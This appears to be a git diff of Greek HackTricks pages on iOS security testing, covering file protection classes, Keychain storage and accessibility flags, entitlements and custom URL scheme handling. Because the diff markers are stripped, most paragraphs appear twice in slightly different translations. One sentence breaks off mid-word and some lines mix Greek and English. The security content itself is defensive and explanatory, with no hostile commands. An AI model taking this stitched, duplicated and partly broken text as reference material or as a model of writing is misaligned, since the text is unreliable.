- **Προστατευμένα Μέχρι Την Πρώτη Ταυτοποίηση Χρήστη (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Τα δεδομένα είναι προσπελάσιμα μετά την πρώτη ξεκλείδωση του χρήστη μετά την εκκίνηση, παραμένοντας προσπελάσιμα ακόμα κι αν η συσκευή κλειδωθεί ξανά.
- **Χωρίς Προστασία (NSFileProtectionNone)**: Τα δεδομένα προστατεύονται μόνο από το UID της συσκευής, διευκολύνοντας την άμεση απομάκρυνση των δεδομένων από απόσταση.
- **Πλήρης Προστασία (NSFileProtectionComplete)**: Τα δεδομένα είναι μη προσβάσιμα μέχρι να ξεκλειδώσει η συσκευή χρησιμοποιώντας τον κωδικό πρόσβασης του χρήστη.
- **Προστατευμένα εκτός αν είναι Ανοιχτά (NSFileProtectionCompleteUnlessOpen)**: Επιτρέπει την πρόσβαση στο αρχείο ακόμη και μετά το κλείδωμα της συσκευής, εφόσον το αρχείο ήταν ανοιχτό όταν η συσκευή ξεκλειδώθηκε.
- **Προστατευμένα μέχρι την Πρώτη Αυθεντικοποίηση Χρήστη (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Τα δεδομένα είναι προσβάσιμα μετά την πρώτη ξεκλείδωμα του χρήστη μετά την εκκίνηση, παραμένοντας προσβάσιμα ακόμη και αν η συσκευή κλειδωθεί ξανά.
- **Χωρίς Προστασία (NSFileProtectionNone)**: Τα δεδομένα προστατεύονται μόνο από το UID της συσκευής, διευκολύνοντας την γρήγορη απομάκρυνση δεδομένων από απόσταση.
Η κρυπτογράφηση όλων των κλάσεων, εκτός από την `NSFileProtectionNone`, περιλαμβάνει έν
Η κρυπτογράφηση όλων των κατηγοριών, εκτός από το `NSFileProtectionNone`, περιλαμβάνει ένα κλειδί που προέρχεται τόσο από το UID της συσκευής όσο και από τον κωδικό πρόσβασης του χρήστη, διασφαλίζοντας ότι η αποκρυπτογράφηση είναι δυνατή μόνο στη συσκευή με τον σωστό κωδικό πρόσβασης. Από το iOS 7 και μετά, η προεπιλεγμένη κατηγορία προστασίας είναι "Προστατευμένα μέχρι την Πρώτη Αυθεντικοποίηση Χρήστη".
Οι προγραμματιστές μπορούν να χρησιμοποιήσουν το [**FileDP**](https://github.com/abjurato/FileDp-Source), ένα εργαλείο για την επιθεώρηση της κατηγορίας προστασίας δεδομένων των αρχείων σε ένα iPhone.
```python
# Example code to use FileDP for checking file protection class
# Note: Ensure your device is jailbroken and has Python installed to use FileDP.
@ -42,44 +45,44 @@ python filedp.py /path/to/check
```
## **Το Keychain**
Στο iOS, ένα **Keychain** λειτουργεί ως ένα ασφαλές **κρυπτογραφημένο δοχείο** για την αποθήκευση **ευαίσθητων πληροφοριών**, προσβάσιμο μόνο από την εφαρμογή που τις αποθήκευσε ή από εκείνες που έχουν εξουσιοδοτηθεί ρητά. Αυτή η κρυπτογράφηση ενισχύεται από ένα μοναδικό **κωδικό πρόσβασης που δημιουργείται από το iOS**, ο οποίος καθαυτός κρυπτογραφείται με τον αλγόριθμο **AES**. Αυτή η διαδικασία κρυπτογράφησης χρησιμοποιεί μια συνάρτηση **PBKDF2**, συνδυάζοντας τον κωδικό πρόσβασης του χρήστη με ένα αλάτι που προέρχεται από το **UID** της συσκευής, ένα στοιχείο που μόνο το **τσιπ του ασφαλούς χώρου** μπορεί να αποκτήσει πρόσβαση. Ως εκ τούτου, ακόμη και αν γνωρίζεται ο κωδικός πρόσβασης του χρήστη, τα περιεχόμενα του Keychain παραμένουν απροσπέλαστα σε οποιαδήποτε συσκευή εκτός από αυτήν όπου αρχικά κρυπτογραφήθηκαν.
Στο iOS, ένα **Keychain** λειτουργεί ως ασφαλές **κρυπτογραφημένο δοχείο** για την αποθήκευση **ευαίσθητων πληροφοριών**, προσβάσιμες μόνο από την εφαρμογή που τις αποθήκευσε ή από εκείνες που έχουν ρητά εξουσιοδοτηθεί. Αυτή η κρυπτογράφηση ενισχύεται από έναν μοναδικό **κωδικό πρόσβασης που δημιουργείται από το iOS**, ο οποίος είναι επίσης κρυπτογραφημένος με **AES**. Αυτή η διαδικασία κρυπτογράφησης αξιοποιεί μια **λειτουργία PBKDF2**, συνδυάζοντας τον κωδικό πρόσβασης του χρήστη με ένα salt που προέρχεται από το **UID** της συσκευής, ένα στοιχείο που μπορεί να προσπελαστεί μόνο από το **secure enclave chipset**. Ως εκ τούτου, ακόμη και αν ο κωδικός πρόσβασης του χρήστη είναι γνωστός, το περιεχόμενο του Keychain παραμένει μη προσβάσιμο σε οποιαδήποτε συσκευή εκτός από αυτήν στην οποία κρυπτογραφήθηκε αρχικά.
Η **διαχείριση και η πρόσβαση** στα δεδομένα του Keychain χειρίζονται από τον **δαίμονα `securityd`**, βασιζόμενος σε συγκεκριμένα δικαιώματα εφαρμογής όπως `Keychain-access-groups` και `application-identifier`.
**Η διαχείριση και η πρόσβαση** στα δεδομένα του Keychain διευθύνονται από τον **`securityd` daemon**, με βάση συγκεκριμένα δικαιώματα εφαρμογής όπως `Keychain-access-groups` και `application-identifier`.
### **Λειτουργίες του Keychain API**
### **Λειτουργίες API του Keychain**
Το Keychain API, που αναλύεται στην [τεκμηρίωση των Keychain Services της Apple](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), παρέχει βασικές λειτουργίες για τη διαχείριση ασφαλούς αποθήκευσης:
Η API του Keychain, που αναλύεται στην [τεκμηρίωση Υπηρεσιών Keychain της Apple](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), παρέχει βασικές λειτουργίες για τη διαχείριση ασφαλούς αποθήκευσης:
- **`SecItemAdd`**: Προσθέτει ένα νέο στοιχείο στο Keychain.
- **`SecItemUpdate`**: Ενημερώνει ένα υπάρχον στοιχείο στο Keychain.
- **`SecItemCopyMatching`**: Ανακτά ένα στοιχείο από το Keychain.
- **`SecItemDelete`**: Αφαιρεί ένα στοιχείο από το Keychain.
Η επίθεση με βίαιη αναζήτηση του κωδικού πρόσβασης του Keychain περιλαμβάνει είτε την επίθεση απευθείας στον κρυπτογραφημένο κλειδί είτε την προσπάθεια μαντέψιας του κωδικού πρόσβασης στη συσκευή, που δυσχεραίνεται σημαντικά από την επιβολή καθυστέρησης από τον ασφαλή χώρο μεταξύ αποτυχημένων προσπαθειών.
Η βίαιη επίθεση στον κωδικό πρόσβασης του Keychain περιλαμβάνει είτε την επίθεση στον κρυπτογραφημένο κωδικό απευθείας είτε την προσπάθεια μαντεψιάς του κωδικού πρόσβασης στη συσκευή, εμποδισμένη σημαντικά από την επιβολή καθυστέρησης του secure enclave μεταξύ αποτυχημένων προσπαθειών.
### **Διαμόρφωση της προστασίας δεδομένων των στοιχείων του Keychain**
### **Ρύθμιση Προστασίας Δεδομένων Στοιχείων Keychain**
Τα επίπεδα προστασίας δεδομένων για τα στοιχεία του Keychain ορίζονται χρησιμοποιώντας το χαρακτηριστικό `kSecAttrAccessible` κατά τη δημιουργία ή την ενημέρωση του στοιχείου. Αυτά τα επίπεδα, [όπως καθορίζονται από την Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), καθορίζουν πότε και πώς είναι προσβάσιμα τα στοιχεία του Keychain:
Τα επίπεδα προστασίας δεδομένων για τα στοιχεία του Keychain ορίζονται χρησιμοποιώντας το χαρακτηριστικό `kSecAttrAccessible` κατά τη δημιουργία ή την ενημέρωση στοιχείου. Αυτά τα επίπεδα, [όπως καθορίζεται από την Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), καθορίζουν πότε και πώς είναι προσβάσιμα τα στοιχεία του Keychain:
- **`kSecAttrAccessibleAlways`**: Προσβάσιμα ανά πάσα στιγμή, ανεξάρτητα από την κατάσταση κλειδώματος της συσκευής.
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Πάντα προσβάσιμα, αλλά δεν περιλαμβάνονται στα αντίγραφα ασφαλείας.
- **`kSecAttrAccessibleAfterFirstUnlock`**: Προσβάσιμα μετά το πρώτο ξεκλείδωμα μετά την επανεκκίνηση.
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Ίδια με το παραπάνω, αλλά μη μεταφερόμενα σε νέες συσκευές.
- **`kSecAttrAccessibleWhenUnlocked`**: Προσβάσιμα μόνο όταν η συσκευή είναι ξεκλείδωτη.
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Προσβάσιμα όταν είναι ξεκλείδωτη, δεν περιλαμβάνονται στα αντίγραφα ασφαλείας.
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Απαιτεί κωδικό πρόσβασης συσκευής, δεν περιλαμβάνεται στα αντίγραφα ασφαλείας.
- **`kSecAttrAccessibleAlways`**: Προσβάσιμο οποιαδήποτε στιγμή, ανεξάρτητα από την κατάσταση κλειδώματος της συσκευής.
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Πάντα προσβάσιμο, αλλά δεν περιλαμβάνεται σε αντίγραφα ασφαλείας.
- **`kSecAttrAccessibleAfterFirstUnlock`**: Προσβάσιμο μετά την πρώτη ξεκλείδωμα μετά την επανεκκίνηση.
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Το ίδιο με παραπάνω, αλλά δεν είναι μετα transferable σε νέες συσκευές.
- **`kSecAttrAccessibleWhenUnlocked`**: Μόνο προσβάσιμο όταν η συσκευή είναι ξεκλειδωμένη.
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Προσβάσιμο όταν είναι ξεκλειδωμένο, δεν περιλαμβάνεται σε αντίγραφα ασφαλείας.
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Απαιτεί κωδικό πρόσβασης συσκευής, δεν περιλαμβάνεται σε αντίγραφα ασφαλείας.
Τα **`AccessControlFlags`** περαιτέρω καθορίζουν τις μεθόδους πρόσβασης, επιτρέποντας τη βιομετρική ταυτοποίηση ή τη χρήση κωδικού πρόσβασης.
**`AccessControlFlags`** διευρύνουν περαιτέρω τις μεθόδους πρόσβασης, επιτρέποντας τη βιομετρική αυθεντικοποίηση ή τη χρήση κωδικού πρόσβασης.
### **Προειδοποίηση για συσκευές με Jailbreak**
### **Προειδοποίηση για Jailbroken Συσκευές**
{% hint style="warning" %}
Σε **συσκευές με jailbreak**, οι προστασίες του Keychain διακυβεύονται, δημιουργώντας σημαντικό κίνδυνο για την ασφάλεια.
Σε **jailbroken συσκευές**, οι προστασίες του Keychain είναι συμβιβασμένες, θέτοντας σημαντικό κίνδυνο ασφάλειας.
{% endhint %}
### **Μόνιμη αποθήκευση των δεδομένων του Keychain**
### **Διαρκεια Δεδομένων Keychain**
Αντίθετα από τα δεδομένα που αφορούν μια συγκεκριμένη εφαρμογή και διαγράφονται κατά την απεγκατάσταση της εφαρμογής, τα **δεδομένα του Keychain παραμένουν** στη συσκευή. Αυτό το χαρακτηριστικό μπορεί να επιτρέψει σε νέους κατόχους μιας μεταχειρισμένης συσκευής να έχουν πρόσβαση στα δεδομένα της προηγούμενης κατόχου απλά επανεγκαθιστώντας τις εφαρμογές. Συνιστάται στους προγραμματιστές να διαγράφουν προληπτικά τα δεδομένα του Keychain κατά την εγκατάσταση της εφαρμογής ή κατά την αποσύνδεση για να μειωθεί αυτός ο κίνδυνος. Παρακάτω παρουσιάζεται ένα παράδειγμα κώδικα σε Swift που δείχνει πώς να διαγράψετε τα δεδομένα του Keychain κατά την πρώτη εκκίνηση της εφαρμογής:
Σε αντίθεση με τα δεδομένα που σχετίζονται με την εφαρμογή που διαγράφονται κατά την απεγκατάσταση της εφαρμογής, **τα δεδομένα του Keychain παραμένουν** στη συσκευή. Αυτή η χαρακτηριστική θα μπορούσε να επιτρέψει στους νέους ιδιοκτήτες μιας μεταχειρισμένης συσκευής να αποκτήσουν πρόσβαση στα δεδομένα της προηγούμενης εφαρμογής απλά επανεγκαθιστώντας τις εφαρμογές. Οι προγραμματιστές προειδοποιούνται να καθαρίζουν ενεργά τα δεδομένα του Keychain κατά την εγκατάσταση της εφαρμογής ή κατά την αποσύνδεση για να μετριάσουν αυτόν τον κίνδυνο. Ακολουθεί ένα παράδειγμα κώδικα Swift που δείχνει πώς να καθαρίσετε τα δεδομένα του Keychain κατά την πρώτη εκκίνηση της εφαρμογής:
```swift
let userDefaults = UserDefaults.standard
@ -91,45 +94,44 @@ userDefaults.set(true, forKey: "hasRunBefore")
userDefaults.synchronize() // Forces the app to update UserDefaults
}
```
# **Δυνατότητες της εφαρμογής**
# **Δυνατότητες Εφαρμογής**
Στον κόσμο της ανάπτυξης εφαρμογών, η **sandboxing** παίζει έναν κρίσιμο ρόλο στην ενίσχυση της ασφάλειας. Αυτή η διαδικασία εξασφαλίζει ότι κάθε εφαρμογή λειτουργεί εντός του δικού της μοναδικού καταλόγου, αποτρέποντας την πρόσβασή της σε αρχεία συστήματος ή δεδομένα που ανήκουν σε άλλες εφαρμογές. Η επιβολή αυτών των περιορισμών γίνεται μέσω των πολιτικών sandbox, που αποτελούν μέρος του **Trusted BSD (MAC) Mandatory Access Control Framework**.
Στον τομέα της ανάπτυξης εφαρμογών, **sandboxing** παίζει κρίσιμο ρόλο στην ενίσχυση της ασφάλειας. Αυτή η διαδικασία διασφαλίζει ότι κάθε εφαρμογή λειτουργεί μέσα στον δικό της μοναδικό κατάλογο σπιτιού, αποτρέποντας έτσι την πρόσβαση σε αρχεία συστήματος ή δεδομένα που ανήκουν σε άλλες εφαρμογές. Η επιβολή αυτών των περιορισμών πραγματοποιείται μέσω πολιτικών sandbox, οι οποίες είναι μέρος του **Trusted BSD (MAC) Mandatory Access Control Framework**.
Οι προγραμματιστές έχουν τη δυνατότητα να διαμορφώνουν ορισμένες **δυνατότητες ή άδειες** για τις εφαρμογές τους, όπως η **Προστασία Δεδομένων** ή η **Κοινή Χρήση Keychain**. Αυτές οι άδειες εφαρμόζονται αμέσως μετά την εγκατάσταση της εφαρμογής. Ωστόσο, για να έχει πρόσβαση σε ορισμένους προστατευμένους πόρους, η εφαρμογή πρέπει να λάβει ρητή συγκατάθεση από τον χρήστη κατά την πρώτη προσπάθεια. Αυτό επιτυγχάνεται μέσω της χρήσης _συμβολοσειρών σκοπού_ ή _περιγραφών χρήσης_, οι οποίες παρουσιάζονται στους χρήστες σε ένα παράθυρο αιτήματος άδειας.
Οι προγραμματιστές έχουν τη δυνατότητα να ρυθμίζουν ορισμένες **δυνατότητες ή άδειες** για τις εφαρμογές τους, όπως **Data Protection** ή **Keychain Sharing**. Αυτές οι άδειες εφαρμόζονται αμέσως μετά την εγκατάσταση της εφαρμογής. Παρ' όλα αυτά, για την πρόσβαση σε ορισμένους προστατευμένους πόρους, η εφαρμογή πρέπει να αποκτήσει ρητή συγκατάθεση από τον χρήστη κατά την πρώτη προσπάθεια. Αυτό επιτυγχάνεται μέσω της χρήσης _purpose strings_ ή _usage description strings_, οι οποίες παρουσιάζονται στους χρήστες σε μια ειδοποίηση αίτησης άδειας.
Για όσους έχουν πρόσβαση στον πηγαίο κώδικα, η επαλήθευση των άδειών που περιλαμβάνονται στο αρχείο `Info.plist` μπορεί να γίνει με τα εξής βήματα:
Για όσους έχουν πρόσβαση στον πηγαίο κώδικα, η επαλήθευση των αδειών που περιλαμβάνονται στο αρχείο `Info.plist` μπορεί να γίνει με:
1. Άνοιγμα του έργου στο Xcode.
2. Εντοπισμός και άνοιγμα του αρχείου `Info.plist`.
3. Αναζήτηση για κλειδιά που ξεκινούν με `"Privacy -"`, με τη δυνατότητα προβολής ακατέργαστων κλειδιών/τιμών για καλύτερη κατανόηση.
3. Αναζήτηση κλειδιών που αρχίζουν με `"Privacy -"`, με την επιλογή να δουν ακατέργαστα κλειδιά/τιμές για σαφήνεια.
Όταν ασχολούμαστε με ένα αρχείο IPA, μπορούμε να ακολουθήσουμε τα παρακάτω βήματα:
Όταν ασχολείστε με ένα αρχείο IPA, μπορείτε να ακολουθήσετε τα εξής βήματα:
1. Αποσυμπίεση του αρχείου IPA.
2. Εντοπισμός του αρχείου `Info.plist` μέσα στο `Payload/<appname>.app/`.
3. Μετατροπή του αρχείου σε μορφή XML αν είναι απαραίτητο, για ευκολότερο έλεγχο.
1. Αποσυμπιέστε το IPA.
2. Εντοπίστε το αρχείο `Info.plist` μέσα στο `Payload/<appname>.app/`.
3. Μετατρέψτε το αρχείο σε μορφή XML αν χρειάζεται, για ευκολότερη επιθεώρηση.
Για παράδειγμα, οι συμβολοσειρές σκοπού στο αρχείο `Info.plist` μπορεί να φαίνονται ως εξής:
Για παράδειγμα, οι purpose strings στο αρχείο `Info.plist` μπορεί να φαίνονται έτσι:
```xml
<plist version="1.0">
<dict>
<key>NSLocationWhenInUseUsageDescription</key>
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
```
## Δυνατότητες Συσκευής
Το αρχείο `Info.plist` ενός εφαρμογής καθορίζει τις **δυνατότητες της συσκευής** που βοηθούν το App Store να φιλτράρει τις εφαρμογές για συμβατότητα με τη συσκευή. Αυτές καθορίζονται υπό το κλειδί **`UIRequiredDeviceCapabilities`**. Για παράδειγμα:
## Device Capabilities
Το αρχείο `Info.plist` μιας εφαρμογής καθορίζει **τις δυνατότητες της συσκευής** που βοηθούν το App Store να φιλτράρει τις εφαρμογές για συμβατότητα με τη συσκευή. Αυτές ορίζονται κάτω από το **`UIRequiredDeviceCapabilities`** κλειδί. Για παράδειγμα:
```xml
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
```
Αυτό το παράδειγμα υποδεικνύει ότι η εφαρμογή είναι συμβατή με το σύνολο εντολών armv7. Οι προγραμματιστές μπορούν επίσης να καθορίσουν δυνατότητες όπως το nfc για να εξασφαλίσουν ότι η εφαρμογή τους είναι διαθέσιμη μόνο σε συσκευές που υποστηρίζουν NFC.
Αυτό το παράδειγμα υποδεικνύει ότι η εφαρμογή είναι συμβατή με το σύνολο εντολών armv7. Οι προγραμματιστές μπορούν επίσης να καθορίσουν δυνατότητες όπως το nfc για να διασφαλίσουν ότι η εφαρμογή τους είναι διαθέσιμη μόνο σε συσκευές που υποστηρίζουν το NFC.
## Εξουσιοδοτήσεις
**Οι εξουσιοδοτήσεις** είναι ένα ακόμα κρίσιμο στοιχείο της ανάπτυξης εφαρμογών iOS, λειτουργώντας ως ζεύγη κλειδιού-τιμής που επιτρέπουν στις εφαρμογές να εκτελούν συγκεκριμένες λειτουργίες πέρα ​​από τους ελέγχους χρόνου εκτέλεσης. Για παράδειγμα, η ενεργοποίηση της **Προστασίας Δεδομένων** σε μια εφαρμογή περιλαμβάνει την προσθήκη μιας συγκεκριμένης εξουσιοδότησης στο έργο Xcode, η οποία αντανακλάται στο αρχείο εξουσιοδοτήσεων της εφαρμογής ή στο ενσωματωμένο αρχείο παροχής για τα IPAs.
## Δικαιώματα
**Δικαιώματα** είναι μια άλλη κρίσιμη πτυχή της ανάπτυξης εφαρμογών iOS, που λειτουργούν ως ζεύγη κλειδιού-τιμής που παρέχουν στις εφαρμογές άδεια να εκτελούν ορισμένες λειτουργίες πέρα από τους ελέγχους χρόνου εκτέλεσης. Για παράδειγμα, η ενεργοποίηση της **Προστασίας Δεδομένων** σε μια εφαρμογή περιλαμβάνει την προσθήκη ενός συγκεκριμένου δικαιώματος στο έργο Xcode, το οποίο στη συνέχεια αντικατοπτρίζεται στο αρχείο δικαιωμάτων της εφαρμογής ή στο ενσωματωμένο αρχείο κινητής παροχής για τα IPAs.
# Αναφορές
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
@ -137,18 +139,17 @@ userDefaults.synchronize() // Forces the app to update UserDefaults
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/)
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Αυτό είναι ένα σύνοψη από τις σχετικές πληροφορίες από το [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
Αυτή είναι μια περίληψη από τις σχετικές πληροφορίες από [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
## Βασικές Πληροφορίες
## Basic Information
Οι προσαρμοσμένοι URI handlers επιτρέπουν στις εφαρμογές να επικοινωνούν χρησιμοποιώντας ένα προσαρμοσμένο πρωτόκολλο, όπως περιγράφεται στην [τεκμηρίωση του Apple Developer](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Αυτά τα πρωτόκολλα πρέπει να δηλωθούν από την εφαρμογή, η οποία στη συνέχεια χειρίζεται τα εισερχόμενα URLs που ακολουθούν αυτά τα πρωτόκολλα. Είναι κρίσιμο να **επικυρώνονται όλοι οι παράμετροι του URL** και **να απορρίπτονται τα μη έγκυρα URLs** για να αποτραπούν επιθέσεις μέσω αυτού του διανύσματος.
Οι προσαρμοσμένες διευθύνσεις URL επιτρέπουν στις εφαρμογές να επικοινωνούν χρησιμοποιώντας ένα προσαρμοσμένο πρωτόκολλο, όπως αναφέρεται στην [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Αυτές οι διευθύνσεις πρέπει να δηλώνονται από την εφαρμογή, η οποία στη συνέχεια χειρίζεται τις εισερχόμενες διευθύνσεις URL σύμφωνα με αυτές τις διευθύνσεις. Είναι κρίσιμο να **επικυρώνετε όλους τους παραμέτρους URL** και να **απορρίπτετε οποιεσδήποτε κακώς διαμορφωμένες διευθύνσεις URL** για να αποτρέψετε επιθέσεις μέσω αυτού του διαύλου.
Δίνεται ένα παράδειγμα όπου το URI `myapp://hostname?data=123876123` ενεργοποιεί μια συγκεκριμένη ενέργεια της εφαρμογής. Ένα ευπάθεια που παρατηρήθηκε ήταν στην εφαρμογή Skype Mobile, η οποία επέτρεπε μη εξουσιοδοτημένες κλήσεις μέσω του πρωτοκόλλου `skype://`. Οι εγγεγραμμένοι προσαρμοσμένοι πρωτόκολλα μπορούν να βρεθούν στο `Info.plist` της εφαρμογής στο πεδίο `CFBundleURLTypes`. Κακόβουλες εφαρμογές μπορούν να εκμεταλλευτούν αυτό επανεγγράφοντας τα URIs για να παρακολουθήσουν ευαίσθητες πληροφορίες.
Δίνεται ένα παράδειγμα όπου η URI `myapp://hostname?data=123876123` καλεί μια συγκεκριμένη ενέργεια εφαρμογής. Μια αναφερόμενη ευπάθεια ήταν στην εφαρμογή Skype Mobile, η οποία επέτρεπε μη επιτρεπόμενες ενέργειες κλήσεων μέσω του πρωτοκόλλου `skype://`. Οι καταχωρημένες διευθύνσεις μπορούν να βρεθούν στο `Info.plist` της εφαρμογής κάτω από `CFBundleURLTypes`. Κακόβουλες εφαρμογές μπορούν να εκμεταλλευτούν αυτό επανακαταχωρώντας URIs για να παγιδεύσουν ευαίσθητες πληροφορίες.
### Εγγραφή Προσαρμοσμένων Πρωτοκόλλων Ερωτήματος Εφαρμογής
### Application Query Schemes Registration
Από το iOS 9.0, για να ελέγξετε αν μια εφαρμογή είναι διαθέσιμη, η `canOpenURL:` απαιτεί τη δήλωση πρωτοκόλλων URL στο `Info.plist` στο πεδίο `LSApplicationQueriesSchemes`. Αυτό περιορίζει τα πρωτόκολλα που μια εφαρμογή μπορεί να ερωτήσει σε 50, βελτιώνοντας την ιδιωτικότητα αποτρέποντας την απαρίθμηση των εφαρμογών.
Από το iOS 9.0, για να ελέγξετε αν μια εφαρμογή είναι διαθέσιμη, το `canOpenURL:` απαιτεί τη δήλωση διευθύνσεων URL στο `Info.plist` κάτω από `LSApplicationQueriesSchemes`. Αυτό περιορίζει τις διευθύνσεις που μπορεί να ερωτήσει μια εφαρμογή σε 50, ενισχύοντας την ιδιωτικότητα αποτρέποντας την καταμέτρηση εφαρμογών.
```xml
<key>LSApplicationQueriesSchemes</key>
<array>
@ -30,9 +31,9 @@
<string>url_scheme2</string>
</array>
```
### Δοκιμή Χειρισμού και Επικύρωσης των URL
### Testing URL Handling and Validation
Οι προγραμματιστές θα πρέπει να εξετάζουν συγκεκριμένες μεθόδους στον πηγαίο κώδικα για να κατανοήσουν την κατασκευή και την επικύρωση της διαδρομής του URL, όπως οι `application:didFinishLaunchingWithOptions:` και `application:openURL:options:`. Για παράδειγμα, η εφαρμογή Telegram χρησιμοποιεί διάφορες μεθόδους για το άνοιγμα των URL:
